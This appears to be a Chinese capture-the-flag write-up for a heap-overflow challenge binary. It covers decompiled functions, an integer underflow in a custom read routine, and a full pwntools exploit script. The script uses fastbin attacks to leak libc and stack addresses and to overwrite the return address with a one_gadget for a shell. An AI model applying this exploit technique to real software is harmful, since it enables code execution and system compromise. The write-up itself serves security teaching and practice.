checksec
1
2
3
4
5
6
7
8
b0ldfrev@ubuntu:~$ checksec myhouse
[*] '/home/b0ldfrev/myhouse'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序功能
1
2
3
4
1.add a book
2.sell a book
3.read a book
4.exit
read功能函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall readn(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int v3; // eax
unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]
v5 = 0;
while ( 1 )
{
result = (unsigned int)(a2 - 1);
if ( (unsigned int)result <= v5 )
break;
read(0, &buf, 1uLL);
result = buf;
if ( buf == 10 )
break;
v3 = v5++;
*(_BYTE *)(a1 + v3) = buf;
}
return result;
}
添加功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int add_book()
{
size_t size; // [rsp+8h] [rbp-8h]
for ( HIDWORD(size) = 0; HIDWORD(size) <= 0xF && qword_602080[5 * HIDWORD(size)]; ++HIDWORD(size) )
;
if ( HIDWORD(size) == 16 )
puts("Too many books");
puts("What is the author name?");
readn(40LL * HIDWORD(size) + 0x602060, 31);
puts("How long is the book name?");
_isoc99_scanf("%u", &size);
if ( (unsigned int)size > 0x50 )
return puts("Too big!");
qword_602080[5 * HIDWORD(size)] = malloc((unsigned int)size);
puts("What is the name of the book?");
readn(qword_602080[5 * HIDWORD(size)], size);
return puts("Done!");
}
分析出一个结构体:
1
2
3
4
5
6
7
struct book{
char author[30] ;
char nop[2]; // 0 填充
char *bookname;
}
删除功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sellbook()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Which book do you want to sell?");
_isoc99_scanf("%u", &v1);
if ( v1 > 0x10 )
return puts("Out of bound!");
if ( !qword_602080[5 * v1] )
return puts("No such book!");
free((void *)qword_602080[5 * v1]);
qword_602080[5 * v1] = 0LL;
return puts("Done!");
}
查看功能
1
2
3
4
5
6
7
8
9
10
11
12
int readbook()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Which book do you want to sell?");
_isoc99_scanf("%u", &v1);
if ( v1 > 0x10 )
return puts("Out of bound!");
if ( qword_602080[5 * v1] )
return printf("Author:%s\nBookname:%s\n", 40LL * v1 + 6299744, qword_602080[5 * v1]);
return puts("No such book!");
}
漏洞利用
程序只有添加,删除,查看功能。
- malloc时只能分配不大于0x50的fastbin,但之前没有检测size的大小是否为零,所以想利用0x7f这个大小来实行fastbin_attack来控制malloc_hook不可行
- free时book[]数组的指针有置零处理,所以double free等很多利用方式都被限制
仔细分析了一下代码,发现作者自己实现的readn
函数里面存在整数溢出,下面是溢出代码:
1
result = (unsigned int)(a2 - 1);
a2是传入的长度参数,result是限制每次写的长度为a2-1
,所以每次add时只能写入预先的 size
-1长度字节
但这里,result被强制转换为了无符号整数,什么概念呢?假如此时传入的长度a2为0,那么 result = -1 = 0xffffffffffffffff ,是一个非常大的正数,由此可实现几乎无限长度溢出。
由于程序只能在add时溢出,我们先分配一个0x10 size 大小的book1,再在该book1空间下方分配一个较大的book2,释放掉book1,再分配一个 0 size 大小的book,这时会重用刚才释放的book1空间,就能实现溢出覆盖book2的内存空间,便可以实行fastbin_attack.
还有每次只能分配不大于0x50这个限制很让人蛋疼,我尝试搜寻内存中可利用的size,找到main函数的选项编号这个变量s,代码中字符型s被转换成整型的v3
1
2
3
4
5
6
7
8
int v3; // eax
char s; // [rsp+0h] [rbp-10h]
menu();
memset(&s, 0, 0x10uLL);
read(0, &s, 0x10uLL);
v3 = atoi(&s);
if ( v3 != 2 )
break;
add功能的编号为1,ASCII码为0x31
,刚好为分配0x20 size 大小的chunk空间,单步执行到选择功能那块代码,观察栈空间,功能编号变量 s (0x31) 刚好在main函数的返回地址上方,如图:
所以我在泄露env环境变量,计算栈偏移后,利用fastbin_attack攻击并控制栈,覆盖main函数返回地址为one_gadget,getshell,感觉头发掉光光……..
详细步骤见EXP
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p = process("./bookstore")
libc = ELF("./libc-2.19.so")
def add(name,size,data):
p.recvuntil("choice:\n")
p.sendline(str(1)+"\x00"*0x7) # 覆盖掉标号变量后面的0xa换行符
p.recvuntil("author name?\n")
p.sendline(name)
p.recvuntil("book name?\n")
p.sendline(str(size))
p.recvuntil("book?\n")
p.sendline(data)
def show(idx):
p.recvuntil("choice:\n")
p.sendline(str(3))
p.recvuntil("sell?\n")
p.sendline(str(idx))
def dele(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("sell?\n")
p.sendline(str(idx))
def g(p):
raw_input()
gdb.attach(p)
raw_input()
### 伪造0xc1大小堆块,泄露libc地址,及环境变量env地址,one_gadget地址
add("a"*8+"\x31",0x10,"a") # 0
add("b",0x50,"b") # 1
add("c",0x50,"c") # 2
add("d",0x50,"d") # 3
dele(0)
add("c",0,p64(0)*3+p64(0xc1))
dele(1)
add("b",0x50,"b"*8)
show(1)
p.recvuntil("bbbbbbbb")
libc_base = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-264-0x3c2760
print "libc : " +hex(libc_base)
env=libc_base+ libc.symbols['environ']
one_gadget=libc_base+0xea36d
print "env : " +hex(env)
print "one_gadget : " +hex(one_gadget)
add("b",0x50,"f"*8) # 4
### fastbin_attack控制位于bss段的book,修改bookname指针为env,泄露栈地址
add("a",0x10,"aaaaaaa") # 5
add("a",0x20,"aaaaaaa") # 6
add("a",0x20,"bbbbbbb") # 7
dele(5)
dele(6)
add("d",0,p64(0)*3+p64(0x31)+p64(0x602060))
add("f",0x20,"s")
add("Z",0x20,p64(0)*2+p64(env)) # 8
show(0)
p.recvuntil("Bookname:")
stack=u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0x110
print "stack : "+ hex(stack)
### 利用0x31编号,fastbin_attack控制返回地址栈附近,写入one_gadegt.
add("a",0x10,"aaaaaaa") # 9
add("a",0x20,"aaaaaaa") # 10
add("a",0x20,"bbbbbbb") # 11
dele(9)
dele(10)
add("s",0,p64(0)*3+p64(0x31)+p64(stack))
add("B",0x20,"2"*0x10)
add("h",0x20,p64(0)+p64(0)+p64(one_gadget))
### 退出 ,getshell
p.recvuntil("choice:")
p.sendline(str(4))
p.interactive()